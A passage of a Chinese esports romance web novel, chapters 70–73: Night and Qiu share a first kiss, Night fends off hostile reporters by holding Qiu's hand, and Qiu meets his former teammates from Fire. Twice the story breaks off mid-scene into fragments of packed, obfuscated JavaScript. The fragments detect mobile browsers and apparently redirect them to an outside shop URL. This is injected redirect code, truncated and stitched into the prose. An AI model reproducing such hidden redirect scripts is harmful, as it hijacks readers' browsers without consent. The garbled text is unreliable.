夜雨辰猛然向前迈一步拉回二人的距离,抬手捏住郁秋下巴,轻轻往下带了些,与此同时稍稍踮起脚尖,精准的对上对方的唇瓣,成功打断了他的话。 时间像静止了般,脑子随之陷入一片空白。 夜雨辰在郁秋的唇上轻轻一点便很快拉开了距离,脸上像刚刚什么都没做过似的,泰然自若地看着全身僵住的郁秋,一如往常的平静道:“这样的亲密?” 就像是真情实意地发问是不是需要这样的行动。 “啊,不,不用这样。” 郁秋回过神来后有些手足无措地把拳头放在嘴边干咳了两声,语调都不禁有些变形,语速极快道,“这些被拍到也播不出来的,你别像去火锅店那样一直离我很远而且脸上一直挂着一副不想理我的表情就好。” 越往下说,他的音量越小。 “哦,好吧。”夜雨辰似乎对这个答案不满的撇了撇嘴,直接绕开郁秋去拿自己刚从箱子捡出来丢在床上的睡衣,“先洗澡了,身上一股火锅味太难受了。” 说完,他便拿着自己的衣物进了卫生间。 郁秋站在原地,愣愣地看着这个像什么都没发生过的样子的夜雨辰就这么淡定的走进卫生间关上大门。 片刻,他才有些恍惚地抬起手,拇指轻轻滑过自己的唇瓣。 上面还残留着刚刚一触即离的感觉。 不是错觉,这次真的是初吻了。 不是什么间接接吻。 是实打实的亲。 虽然刚刚那么近的距离他差一点就没控制住再俯下身往上贴了。 但是理智成功拉开了他。 林希楠说的“只要想做什么,借口很容易找”居然可以做到这个地步吗…… 夜雨辰此时照着卫生间的镜子,目光一扫而过自己泛红的耳朵,若有所思地看着自己的嘴唇。 像是没看清一样,他又往镜子贴近了些,稍稍抬起些头,一直360度端详着自己的唇瓣。 他的眉头不禁皱了起来。 嘴唇没像小柯那样肿起,所以小柯真的是辣到发肿的?难道他猜错了? 而且—— 夜雨辰没忍住舔舐了下自己现在有些发干的嘴唇。 一回想起郁秋刚刚抬起他下巴的动作,特别是那个往下挪的目光…… 他能感觉到,郁秋在看着自己这个部位。 那个样子,那个姿势……是在索吻? 不知道,反正他脑子一热,灵机一动了一下。 就是莫名有点想,反正刚好有这个借口。 而且初吻这种东西,白天喝奶茶的时候就没了吧? 自己的表现也很淡定,对方肯定只把自己这个行为当作在认真发问。 与此同时,门外的郁秋的心情还是久久无法平静。 他倒在自己的床上,一只手遮住自己的双眼,没忍住抿紧嘴唇。 两人此刻的心情都无比复杂,心跳狂跳不止,震得耳膜微微发颤,心底里不由得升起一个特别想知道答案却又害怕答案的问题—— 他这个举动到底在想些什么? 71. 采访 第二天清晨,少年宫的某间大堂门口挤满了熙熙攘攘的人。 不少人都穿着样式差不多颜色各异的队服,黑色的、红色的、白色的、灰白交加的……而穿着便服的人,不是拿着相机手机围在这边拍东西,就是脖子上挂着工牌忙来忙去。 夜雨辰穿着昨天晚上洗完的新队服,手上拿着早餐剩下的牛奶,冷漠地走在Qian的旁边。 他看着前天上课的大堂门旁熙熙攘攘的人流,眉头微不可察地轻皱了一下。 不太喜欢人多的地方,而且好吵。 不过这次算他进战队后第一次正式参加官方举办的活动,所以他心里其实对这两天还是隐隐充满了期待。 不过—— 他用余光偷偷瞥向走在自己另一边、相隔距离有点开的郁秋。 今天早上他俩还没怎么说过话。 郁秋好像察觉到了夜雨辰的动静,看了过去。 对上视线的夜雨辰:“……” 若无其事的迅速收回了视线。 昨天晚上两个人都冷静下来后,虽然他们依旧像没事人一样正常对话打游戏,但不知道为什么,他俩之间的气氛总感觉变得有些……微妙吧? 但二人都很默契,都没有再提那件事。 反正就轻轻碰了下,又不会少块肉,何况他都没计较自己初吻就这么没了。 夜雨辰是这样安慰自己去以镇定自若的模样重新直面郁秋的。 好在郁秋看上去也不以为意。 他重新看向即将走到的礼堂大门口的人群,里面夹杂着不少熟悉的面孔。 就比如那个正站在签到桌面前,穿着墨绿色队服的那个战队,其中一个站在一边无聊到脸上有些许不耐烦的青年一注意到JYY的到来就兴高采烈地朝他们挥了挥手。 突然,挥手的人全身一僵,随即把手搭到希楠的肩上并面露苦涩地抚上了自己的腰。 “?” 刚把手举起来的夜雨辰挑起了眉。 怎么还有人能打个招呼就把腰闪了? 小柯所在的PG战队的周围,其他战队也正在陆陆续续签到——SupS、Wao、Eagle、Fire、FQ、YT……里面多多少少有夜雨辰眼熟的人,包括有仇的、没仇的、出名的选手。 而还有一个人是—— 夜雨辰若有所思地看着同样在签到,穿着黄白色队服的人的背影。 那人的队服后面印着两个字——恒宇。 等夜雨辰在自己战队的带领下,恰好排到这个战队后面等待签到时,恒宇转过了身。 在回头看到夜雨辰离自己很近的刹那,他明显被身后突然贴了个这么近的人吓了一激灵:“我去。” 夜雨辰在他转过身的瞬间就挪开自己的视线看向其他方向,并幽幽往后退了一两步,虽然有些刻意,但还是给人一种他走路根本没看路,直到走到别人脸上才注意到要撞到人了的感觉。 恒宇有些莫名地看着差点撞到自己的夜雨辰,然后疑惑地看向他旁边站着的死死盯着自己的郁秋,背后有些发凉。 这是哪来的怒意? 他和郁秋也不熟吧? 不过他什么都没说,就礼貌性的点了点头打了个招呼就和队友一起先进了大堂。 郁秋看着对方离去的背影冷哼一声,问夜雨辰道:“你认识?” 听上去仅仅像在好奇询问是不是遇到熟人而已。 夜雨辰点头:“算是。” “……” 郁秋双眸微眯,不再说话。 但夜雨辰的目光依旧停留在恒宇离开的方向。 刚刚想的有些出神了,一时没注意到自己和对方间隔的距离。 他在看到恒宇的刹那,曾经藏在心底里的遗憾随之升起。 两年前他打全国大赛的时候,有两个对手他是十分想交锋的。 一个是已经交过手现在是好兄弟的小U,另一个就是还没来得及在赛场上交手的的恒宇了。 这个游戏的全国榜单排名是实时变动的,只不过是有固定的时间定榜一定时间段的排名。 所以登顶过前十或定榜过一两次全国前十的玩家,通常是都不会被人记住的。不过如果常常以相同的ID登顶,那这个人不管是主播、职业还是路人,都会被很多玩家深刻的铭记于心。 恒宇就是常常在国服中单前十榜单的玩家,也算是个中路高手了,虽然夜雨辰和小U肯定觉得他总体实力没他们强。 但那时候夜雨辰就特别想知道,经受过训练的国服中单队伍和他在对局里将会碰出怎样特别的火花,毕竟那时候对方是Eagle的青训生。 而恒宇刚刚没认出自己全是因为比赛的时候夜雨辰全程戴着口罩,并且参赛ID用的是‘Rain’而不是‘Night’。 对夜雨辰来说,最可惜的就是那次比赛明明下一把就能和恒宇他们一分高下,却被有心人举报‘未成年参赛’从而被取消了比赛资格。 那是他那次比赛除了没夺冠的另一个印象深刻的遗憾。 现在两年后,他也成功踏进了职业的道路,而恒宇已经成为了Eagle战队的队长,他们又有机会再次在赛场上交锋了。 而Eagle是现在联盟的“夺冠三巨头”战队之一。 夜雨辰不禁握紧双拳。 这个赛季,他一定要弥补初次比赛留下的遗憾。 突然,离他不远处传来了一道采访的声音—— “子幸选手,据说您以前从未参加过联盟举办的大型活动,请问这次为什么改变了您的主意了?” 听到被采访的人的名字,夜雨辰不由得皱起了眉。 他完全没有任何好奇心去瞅一眼,甚至还避嫌地往反方向拉开了和邱子幸的距离。 开开同样也听到了这个声音,小声嘟囔道:“故意的吧?非要现在被采访,还刚好在我们旁边。” 零落无奈摊手:“他什么尿性你还不清楚吗?当空气吧。” 零落能参加今天的活动全是因为他在战队除了有教练的身份,还有名单上也算JYY的替补选手。 但也因为这个特殊的身份,他已经听到不少人在旁边小声交谈声—— “笑死,JYY还能撑多久啊?连个替补选手都买不起,让教练做替补。” “还是邱子幸厉害,把一个冠军战队搞成现在这样还能悠哉悠哉地换一个有冠军潜力的战队。” “喂,你们难道不知道零落为什么当教练吗?他以前也想打职业的,只不过没入选罢了。” “哇,那JYY岂不还满足了零落的职业梦?他可真是太走运了吧。” …… 全部都是阴阳怪气的声音,对战队,或对他。 JYY的所有成员不仅听到了这些声音,同样听到一些其他嘴杂的人暗戳戳在说自己—— “One都23了吧?这么老了还不退役,在赛场上留着坑人吗?” “Qian居然还有耐心呆在这个战队,啧啧啧,这战队也就One和Qian最不聪明了,之前冠军的剩余四个人不都在邱子幸进队的第一时间就跑路了吗?现在他们几个多风光啊?” “别这么说,人家说不定是冠军拿多了想体验倒数的感觉呢。” “对哦,我都忘记他俩居然还拿过两次冠军,那这么说JYY最惨的不就是开开吗?真羡慕他,一点成绩没有脸上都能一直挂着一副无忧无虑的笑容,看着都让人感到可怜。” “这是只想着赚钱不在乎成绩吧?反正也有基础工资照拿,不然谁能接受战队这样的成绩还笑成这样?说起来,他好像刚打职业就一直在掉成绩的JYY里了。” “对啊,他和我一个青训营的,他当初成绩可是营里顶尖的,现在混得却没我好,哈哈哈。” “对了,他和Qiu那玩意同时进队的,真倒霉,在邱子幸没出现之前Qiu可是联盟公认的最强关系户。” “Fire从没给过任何青训生自留签的,而且听说Qiu那时候的表现都不足以被提前破格录取,何况还是在非招人的时间签Fire的合同,还能让战队高调的全网发官宣帖子,这谁敢说他没走关系?有钱真好,我也想做有钱人。” 所有小声嘀咕的人都默认了这句话——要不是因为郁秋最后一直坐在替补位,那现在联盟公认的最强关系户就依然是他而不是邱子幸。 “话说Night也是刚打职业吧?游戏里他老吃我分来着,他确实很牛逼啊,我没打职业前就知道他了。” “嘁,技术好又不代表人品好,人家刚进战队第二天小九就被举报永久禁赛,怎么以前没人举报小九?这时间点卡得也太好了吧。而且这人为了流量还和Qiu炒cp,这是来打职业还是来做偶像的?心都飞哪去了?这战队花重金买他是为了延续‘队霸中单’的名声吧?” ……… 总有不少的闲言杂语在讨论JYY的每个成员,但JYY的每个人都似乎对此早就习以为常,他们像没听到这些声音似的,依旧心平气和的继续做自己该做的事情,包括夜雨辰。 只不过听到这种阴阳怪气的语气和莫须有的污蔑,还是让他他心里不禁升起极度的不适和厌恶感,即使他将这些情绪很好的藏在心底并没有在面上显露出来一丝一毫。 邱子幸在他们旁边的采访回答他们自然而然也听到了。 只听他愧疚道:“没参与以前的活动主要是因为生病或家里突然有些急事,实在没办法推脱,但也因此导致了我和曾经的队友们关系上的生疏。转会期的这段时间里我反思了下我自己,不能总是为自己的特立独行找各种借口,我也会尽量和我现在的队友们打好关系……” 夜雨辰依旧沉默着:“……” 开开冷哼一声:“假惺惺。” Qian嗤鼻:“说得这么诚心也不见得他真来找我们道歉,装什么呢?” One抽了抽嘴角:“会有人信吗?” 郁秋此时完成了战队的签到,淡淡道:“找人围绕这段话编辑几个稿子的事情洗白大众眼里的自己罢了,想让人信还不简单?老套手段。” “我们进去?” 零落显然也没把邱子幸的话放心上。 大家都默认了零落的提议。 “你好,我是音符平台的游戏博主,想采访采访您几个问题,方便聊两句吗?” 在夜雨辰还没来得及跟着大部队走,他就被人拦住了。 队员们闻声,脚步一顿,回头看向这个突然出现在夜雨辰面前的‘博主’。 夜雨辰面无表情地看着拦住自己的这个所谓的‘博主’,语气平平道:“在回答你的问题之前,我想先请问一下,你为什么选择我作为采访对象?” 这人和刚刚采访邱子幸的人是同一个人。 只见对方脸上挂着职业微笑理所当然道:“您看上去比其他人更加亲和一些。” 夜雨辰的眸光沉了沉:“……” 亲和? 实不相瞒,他起床到现在脸上几乎都没什么表情,甚至可以说因为起床气,他一直都摆着一副冷冰冰的臭脸,给人一种看上去就很不好惹的感觉。 能不能找个好一点的借口? 附近随便抓一个人面向看上去都能比他亲和N倍。 他开口道:“不好意——” “您好Night,我是丘丘传媒的记者,现在正在做‘职业新人主题’的采访,方便占用您几分钟时间吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081165|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你好我是素人博主,现在正在进行直播,想请问您几个问题……” “打扰一下,我是……” 还没来得及拒绝一个,夜雨辰面前不知道从哪又蹦出来了三四个自称要进行‘采访’的人。 他不由得双眸微眯。 是巧合吗?还是—— 他不经意地向完全没在意自己这发生了什么的邱子幸的背影看去,然后又收回了视线。 他重新冷静地扫过面前一个个脸上挂满想对自己采访、挂着职业假笑、站位甚至还有意无意地隔开自己和队友距离的‘记者’。 拦住自己的人有点多,全部拒绝明显已经不太合适,特别是还有人说正在直播。 也不知道哪个是真的来者不善的。 而且似乎有人也拦住了自己的队友进行所谓的采访。 夜雨辰不假思索道:“不好意思,我接下来还有点事,可能无法兼顾到你们所有人的问题。” 适当回答一两个就行了。 记者们听到夜雨辰答应后,开心道:“没事没事,感谢您的配合。” 他们就像早就商量好般,由第一个拦住夜雨辰的笑面虎打开了问题的匣子:“Night,据我了解,您是职业新生,请问您进战队顶替子幸选手的中单位置后是否感受到了压力?您觉得您和他的实力谁更高一筹?” 当然是自己。 夜雨辰心里不屑地果断答道。 不过这种话肯定不能当面说出口,毕竟是个明晃晃的坑放在自己面前。 他语气平平道:“如果你们对此有兴趣,可以期待一下未来我和他在赛场上的对决。” 另一个采访者连忙接着问道:“可JYY现在不是在B组么?FQ在S组,难道你现在就有自信在这个赛季碰上S组吗?是因为觉得A组的战队不足为惧?还是说你认为FQ这个赛季会从S组掉到B组?” 就像早就准备好的问题,完全不给人思考的空间。 这人也是来者不善。 夜雨辰断定。 ‘这个赛季’、‘觉得A组战队不足为惧’、‘认为一个S组战队会掉到B组’…… 随便一个问题都意图帮他在圈内竖敌,拉低外界对他的印象—— 一个B组的吊车尾战队、从未打过正式职业比赛的职业新生如此大放厥词,不把所有选手放在眼里。 夜雨辰从容答道:“我十分尊重并敬佩职业圈的前辈们,从未有过您所说的任何心里想法。” “至于我们战队是否能在这个赛季对上FQ……” 说到这,他停顿了一下,自信的嘴角不禁扬起,“我只能说,请各位拭目以待JYY这个赛季接下来的比赛,在此也十分欢迎各位与我一同见证我们战队的蜕变。” 一名电竞选手特别是新人有自信是最正常不过的事情,但不能过于盲目自信,至少不能把所有对手特别是声名远扬的前辈们都全然不放在眼里。 另一个记者见状,继续问道:“请问Night,有不少网友质疑您和Qiu的CP互动是在刻意炒作,对此您怎么回应?而且刚刚来的路上我恰好注意到您和Qiu的距离隔得很开,你们关系看上去似乎并没有网上和直播表现得那么好。” 夜雨辰的眼神变得更加冷漠了些。 终究是有人来问这种问题了。 他和郁秋到底什么关系、关系好坏,关这些人什么事? 其他人接着上面的问题补充道:“‘秋夜’话题的讨论度在网络上很高,已经引起不少路人的关注度,他们都认为你们在刻意营销,并抨击身为职业新生的您不务正业,您对此怎么看待?以及你们战队关系是否像表象一样和睦?” “为什么您选择的是黑料诸多的Qiu进行合作,您难道不怕对方的黑料影响到自己吗?还是说在您打职业前就与他相识了?” …… “……” 夜雨辰听得太阳穴不由得一抽一抽。 问题一个接着一个,无非就是在问为什么要炒作、为什么要和郁秋炒,以及好奇他们战队内部队员关系究竟如何。 问这么多干嘛?管得真闲。 他深吸一口气,打断还想继续抛出问题的人:“首先,我们战队每天每名队员都在按部就班进行每天该有的训练,我们所有人打职业的目标只有在比赛上尽可能地发挥出自己的实力并夺得出色的成绩,并不存在所谓的‘不务正业’的现象。” “我和Qiu是在我进战队后认识的,互动相对于其他队员更多仅仅是因为我们在基地里是同房舍友,所以常出现在同个镜头下是件避不可免的事情。” 说到这,夜雨辰的背后突然被人轻轻碰了一下。 但他头也没回一下。 “至于我和Qiu的关系如何……” 他直接向后伸出手,在摸到身后人的手后,直接顺理成章地钻进对方的掌心并扣住举在面前,展示给众人特别是刚刚说在直播的那个采访者,表情却仍然像做了件很平常的事情,面不改色道,“关系很好,不用外人操心。” 郁秋昨晚提醒过他,至少在外界眼里他们俩还是亲密一点。 这样应该够了。 “认识Qiu以前,我从没通过外界的流言蜚语去了解他究竟是个什么样的人。” “我只会相信我亲眼看到的Qiu的为人。” 夜雨辰举着和郁秋牵着的手,脸上的表情却依旧没有任何变化,“所以关于Qiu的黑料,他究竟是个什么样的人,身为他的队员兼舍友,我一定比你们所有人了解得多很多……” 说到这,他的眼神不禁变得冰冷, “我只能说,随意相信外界声音对一个人评价、并借此来了解他人的人,着实可笑。” 72. 第 72 章 全场鸦雀无声。 夜雨辰在解释完后,泰然自若地放下了郁秋的手,全程没有回头看一眼这个人。 他面前的记者们,脸上写满了各种诧异的颜色。 关系好原来是这么展示的吗? 不过Night刚刚说了啥来着? 好像是在为Qiu的传闻进行澄清? 管他呢,那不重要,他们一个战队的,为队友洗白是件很常见的现象,而且现在还有这么好的素材送到脸上,赶紧拍下来做文章才对。 不少人已经抓拍到了刚刚的场景,不过依然还有人想对夜雨辰刨根问底:“但是Night,关于Qiu的黑——” “你们要在这里堵多久?烦不烦?” 突然,一道烦躁声打断了发问。 听到这个声音,夜雨辰一怔,有些惊讶地看向声源处——一个正穿着红色队服的高个子正站在几个记者后,脸上写满了不耐烦。 Fire战队的队服。 是上个赛季的冠军战队。 但夜雨辰确定,他并不认识这个人。 高个子对这群一个个回头看着自己、举着手机或相机的人不爽道:“你们怎么屁问题这么多?不知道的还以为是JYY的签售会呢,放过人家战队好吗?快滚快滚。” 话音刚落,他身后恰便走来了好几个保安和工作人员直接将这些没来得及反驳的记者赶出了场地。 对这突然的变故,夜雨辰的眼里渲染上了茫然。 这些居心叵测的人终于被赶走了。 被一个他不认识的人。 而且对方脸上丝毫不掩饰对这些人的厌恶。 但是为什么这人能召唤出这么多人赶人? “啊钧!”One看到来者后,高兴地打了个招呼,“你们战队今天怎么这么晚才来,谢了啊!” 啊钧朝One和Qian打了个招呼,然后看向JYY其余四个人点头示意了下:“新队员有些马虎,所以耽搁了一下。” Qian挑眉:“怎么每次都是你来帮沦陷清场赶人?你们战队没其他人了?” 啊钧耸耸肩:“没办法,苦力当习惯了,自然而然就成我的专利了,反正小事一桩,不过……” 他环视过JYY的所有人,好笑道:“怎么常常都能见到你们队被这种人堵着?你们脾气可真好,每次就这么老实的被堵个几百分钟,要不是我认识你们,我也都快怀疑是你们故意找人来炒作刷存在感了。” One叹口气:“总不能把厌恶和嫌弃写脸上展示到外面去吧,本身战队的名声在内在外都不太好。” 啊钧小声嘟囔道:“反正都那么多黑料,那再多一个也没啥吧,不然就这么受气委屈自己吗。” 趁着这三个人在叙旧,郁秋小声在夜雨辰耳边介绍道:“啊钧是JYY以前的边路,希楠和小柯当初一起转会到PG后,啊钧和原先的教练在JYY的合同刚好到期,他们见战队的中野走了就也直接转会去了Fire。不过我们几个新人和啊钧他们不算很熟,见得少,但总归是认识。” 夜雨辰轻轻颔首。 在看到啊钧专门和Qian和老One打招呼的时候,他就隐隐猜到了一些。 不过他现在更在意的是—— “啊钧,你怎么还在这?” 一道清冷的惊讶声打断了JYY队员们的叙旧。他低笑道,“真罕见,你居然站在大门口还没进去,总不可能是在等我们吧?” 夜雨辰的眸里带着不善的光芒循声望去。 来者眉眼冷峭,鼻梁高挺,长相在人群里数一数二。他看上去并没有那种生人勿进的气场,甚至给人一种说不出的亲和力。 “啊,郁秋你怎么也在大门口站着?” 他看到郁秋后脸上一闪而过惊讶。 啊钧“切”了一声:“等你们干嘛?平常一个个墨迹死了,今天怎么动作就这么快?” 夜雨辰看着的眼神不禁更加冰冷了,甚至带上了不小的警惕。 沦陷,Fire战队的打野,这两年里职业联盟最火的明星选手、第一打野。 也是郁秋曾经在Fire时的替补对象。 夜雨辰在没进战队前就最讨厌别人叫郁秋“替补”了,无论是谁这么叫,他都会和谁急,包括言星奕和小U他们。 毕竟因为沦陷是首发、是明星选手,所以郁秋就只能坐在Fire的替补一整年,名声因此也一直活在在对方的名声之下,就算换战队后,也有不少人在叫郁秋‘替补哥’。 更何况,职业圈里有这么一句传闻——无论哪个战队,首发选手和长期替补选手,关系一定好不到哪去。 有些首发甚至会打压嘲讽自己的替补选手。 你在游戏里全国第一有什么用?不照样得坐在饮水机旁看我比赛? 夜雨辰不知道他们俩关系究竟如何,但就凭郁秋在外的一些负面声音和沦陷有关,他就对这个人不会有好感。 郁秋看到沦陷后,爽朗地和对方打上了招呼道:“好久不见啊,最近过得咋样?” …… 诶? 夜雨辰一愣,有些惊讶地看向郁秋。 这毫无恶意的语气,怎么听上去他和沦陷关系不错? 他再重新看向沦陷,只见对方笑盈盈道:“挺好的,队里还招了个新队员,最近磨合着呢。” 简直和啊钧他们三个叙旧的感觉完全一样! 沦陷环顾了下四周,确认附近没有所谓的记者后,刻意控制了下自己的音量对郁秋小声道:“你们战队现在的配置看上去比之前好多了,这个赛季你们肯定能冲上来的。” 说着,他将视线放到了夜雨辰身上,悠悠道:“你说对吧,这位小兄弟?” “啊?” 突然被点名的夜雨辰一时有些尴尬。 刚刚不善的眼神还是被对方发现了。 郁秋笑着搭上夜雨辰的肩膀:“那当然,你就等着在我们对面被我打趴下吧,这赛季绝对能冲上去,顺便一提,你的位置起码也要给我坐坐。” 沦陷打趣道:“那这个你还是别想了,是我的终究是我的。” 夜雨辰听着二人的对话,有点傻眼。 这两人,关系居然如此好吗? 不仅如此,JYY其他成员脸上也写满了诧异。 平常在战队,他们都担心提到沦陷这个人就会引起郁秋的不快,所有人都会尽力去避免讨论相关话题甚至避开两人见面。 他们这几年的职业生涯里,从没见过一个替补选手和自己曾经的替补对象关系如此和睦。 更何况郁秋的名字在开始进职业圈后,可是一直被沦陷压到现在啊! “队……队长!” 一道气喘吁吁的声音从沦陷身后传来。 他跑到沦陷旁边,边弯腰喘气边道歉道,“真的不好意思,今天一直在给你们添麻烦。” 郁秋看到这人,眼神变得微妙了起来。 沦陷看着这个新队员,不禁追忆往昔,感慨道:“和我们当年刚成为职业选手的时候第一次参加这种活动完全一个样呢,年轻真好。” 说着,他在自己的新队员站直身后,搭上对方的肩膀,当着JYY所有人的面道: “介绍一下,这是我们战队的新辅助,乌宁。” 乌宁? 夜雨辰双眸微眯。 他突然想起来一件事。 如果按照一般的青训生青训来算,他们都是在青训营呆了两年后毕业的,乌宁是在两年前进的Fire的青训营,所以今年,恰好乌宁也到成为职业选手的年龄了。 所以面前这个看上去十分内向的人,就是当初背刺郁秋的那个人。 乌宁抬头,看到面前的人后,许是有点怕生,脸上满是害羞和尴尬,但还是朝着郁秋礼貌性的伸了只手,支支吾吾道:“你,你们好。” “……” 郁秋站在原地一动不动,眸色深沉的看着这个朝自己伸出一只手的人。 夜雨辰见状,立马伸出手并假笑道:“你好,Night。” 说着,他另一只手悄悄拍了下郁秋。 郁秋立马回过神,脸上挂回一如往常的亲近人的笑容,对乌宁道:“不好意思,刚刚想到一些其他事分神了,失礼了。” 夜雨辰看着郁秋挂着毫无诚意的皮笑肉不笑,用出奇平静的语气道:“你好,我是Qiu。” *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081166|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天的综合培训课课表和前天的几乎完全不一样,除了夜雨辰和郁秋熟悉的素质课,还有什么财务管理课、爱情教育课、思想品德课和体育课这些奇奇怪怪的课程。 而且小测试该有的还是有,但是这次不及格不会被罚留堂了。 不过由于十八个战队都会参加,所以每个战队的队员都会坐在同一排。 夜雨辰坐在郁秋和零落的中间。 郁秋用手肘怼了怼夜雨辰,小声问道:“你刚刚怎么知道站在你后面的是我?” 夜雨辰瞟了一眼郁秋,确认对方脸上丝毫没有被乌宁的出现影响到心情后,冷哼一声:“下次换个沐浴露和洗衣液吧,身上味道太冲了,想不认出你都难。” “是吗?” 郁秋疑惑地闻了闻自己身上的味道,啥都没闻到后对夜雨辰笑盈盈道,“所以你这是记住我身上的味道了?” “……” 夜雨辰顿时噤声。 确实,这个清香的柠檬味,从昨天在电影院闻到以后他就铭记于心的喜欢了。 下一秒,他立马红着耳根换了个话题:“我还以为你会讨厌沦陷。” “怎么会?”郁秋笑道,“他人挺好的,以前在战队因为这些传闻他反而还挺照顾我的,而且他是少有的相信我实力的。” “哦,他人真好。”夜雨辰没好气地重复了一遍这句话,“他好的话他会让你在网络上天天被骂‘替补’?会放任自己粉丝这么骂你?” 郁秋对此无奈道:“人家好歹上百万的粉丝,就算发声也无法堵住所有人的嘴,何况俱乐部看着有热度就不打算加以管理,而且我也不太在乎这种声音。” 夜雨辰翻了个白眼:“嗯对,你们关系真好,好到你这都要给我解释他的为人为他开脱。” 郁秋乐呵呵的解释道:“之前要不是沦陷好几次故意请假给我上场机会,估计我那一年都没机会上场呢,毕竟他一上场比赛门票就一定是售空的,但我上场可没这个收益,只可惜我第一次上场比赛太紧张了,没抓好机会,所以就有了后来的声音。” 夜雨辰还是记得的,郁秋第一次上场比赛的操作,操作可谓丑陋到不堪入目,这是大家公认的,包括夜雨辰都看不明白这人在场上的操作。 甚至会让人疑惑这么菜的人是怎么上的全国第一?怎么进军的联盟第一战队? “夜雨辰,你讨厌沦陷?” 突然,郁秋开口问道。 “……没有。” 夜雨辰不情不愿地吐出两个字后,心情不好到完全不打算继续理会郁秋。 他转头看向零落,为了随便找个话题假装自己很忙,似好奇地小声问道,“刚刚在外面的时候我看QYG的五个人挺和睦的,称兄道弟的被人采访,现在都还聊得其乐融融,可前天上课的时候,我记得他们五个人都分别坐得很开,关系看上去就十分不好。” “正常。”零落听闻,偏头看了一眼坐在一排的QYG战队,“他们关系不好是真的,但这是不会让外界知道的一件事,毕竟成员总不能自砸饭碗,该维持的表面关系还是得维持一下,毕竟你也不知道这种公开的大型活动哪里会突然蹦出来一个摄像头。” 零落趁机问夜雨辰:“Night,刚刚在外面那些人都问了你什么?” 夜雨辰老实的一五一十的重复了遍那些带着坑的问题。 “……”零落听着这些问题,沉思了一会,说道,“以后还有问题可能会试图挖取战术或你英雄池,你这些也可以注意一下,但我现在更在意一件事情。” 说着,他意味深长地看向夜雨辰:“你想知道我被问了什么问题吗?这个问题郁秋是听到了的。” 夜雨辰疑惑地点了点头:“你说。” “因为我是教练的缘故,所以被问战队现在是如何在训练期间管理队员的私下感情生活的。而我们战队对此的管束你也知道,所以我原封不动的回答道——” 零落说这句话的时候,似乎意有所指, “众所周知,一段新的恋情十分容易影响到队员在赛场上的心态和表现,所以和其他战队一样,为了战队最后的成绩,我们会在训练和比赛期间尽力去避免单身成员开始一段新的恋情。” 73. 什么是爱 今天夜雨辰在课堂上的表现并不像前天一样一直在犯困。 课堂上,他一直一副若有所思的模样。 他现在的脑子里的声音有些多。 而且还乱。 零落刚刚说的那些话像在警告他似的,不要再这段时间谈恋爱,还特地说郁秋也听到了这些话。 为什么? 夜雨辰不解。 难道是因为刚刚牵郁秋的行为引起他的关注了吗? 可那只不过是顺着一些热度的逢场作戏而已,零落不会当真了吧。 至于其他的,他和郁秋也没做过什么很出格的举动,两人间的互动都是十分正常的行为。 而且要是真的出格了的话,郁秋肯定会在刚刚阻止他的行为的。 想到这,夜雨辰就不禁用余光瞟向坐在自己另一边,正双手抱胸、听课听得有些昏昏欲睡的人。 郁秋昨天不知道是什么原因似乎没睡好,在课前就叫自己帮他打掩护,他要补觉。 夜雨辰目光灼灼地看着郁秋的面容,双眸微眯。 许是因为坐着睡觉并不太安稳,对方的睫毛时不时会颤抖一下。 他心里突然冒出来一句话—— 总不可能是零落以为自己会和郁秋谈恋爱吧? 思索半晌,他默默收回自己的视线看向讲台。 怎么可能? 就凭郁秋那人见人嫌的品味,就算一个人再怎么对他有好感,最后也看不上他的。 想到这,夜雨辰又不禁开始托着脸,佯装听课的模样却在思索曾经有耳对他说过的话。 好感、喜欢和爱。 他对郁秋到底是这三者中什么样的感情? 讲台的屏幕上正展示着财务管理相关的知识,同时,授课老师还在提醒大家时刻警惕各式各样的诈骗陷阱。 夜雨辰虽然现在身无分文,但他自认为自己不是那种会乱花钱的人,更不用说被骗钱,所以听得并没有过分专注。 课前,他问过郁秋为什么联盟一定要职业选手了解这些知识——心理健康、财务管理、爱情教育……和他理解的上课不太一样。 他还以为这种联盟公开的课程会是语数英物化生这些熟悉又枯燥的东西。 “因为职业选手年龄都很小,还没成年就开始涉入社会了。” 郁秋是这么解答的,“而成为职业选手前,就需要有整个游戏玩家前0.001%的实力,难度高的可想而知,所以大部分人就是纯粹的网瘾少年,你应该懂我这句话的意思。” 身为一名职业选手,夜雨辰懂这句话的意思。 虽然不清楚郁秋是什么时候开始玩的这个游戏,但他清楚,自己是什么时候开始玩的这个游戏。 十四岁,初二,他开始接触了这个游戏。 一个人就算再怎么有游戏天赋,也不可能一开始就登峰造极。 他只能老老实实地每天花上几个甚至数十个小时去玩、去复盘、去熟练这个游戏。 加上原本的学业任务,那段时间的日子其实现在回想起来就是两点一线—— 学校上课写作业,回家埋头打游戏。 只是那时候他太热爱这个游戏了,而且也完全不会影响到自己的成绩和作息,所以父母也就没太干涉他,他便完全没意识到自己居然不知不觉已经在游戏上花了如此长的时间。 是啊,这几年除了尽量做好这两件事,他几乎都没闲暇时间去关注其他事物,除掉学校偶尔会举办的一些讲座,他对社会上的生活常识可谓完全空白,什么社保、五险一金、心理健康……这些都是他曾从未思考和学过但现在却需要面对的社会常识。 可他现在只有一些微不足道的在学校人际交往的社会经验。 郁秋暗垂下眼眸,语气越来越冰冷:“本身就无暇对外界关注太多的青少年却在没成年的时候就开始接触社会,年纪轻轻的,能经受得住多少诱惑?” 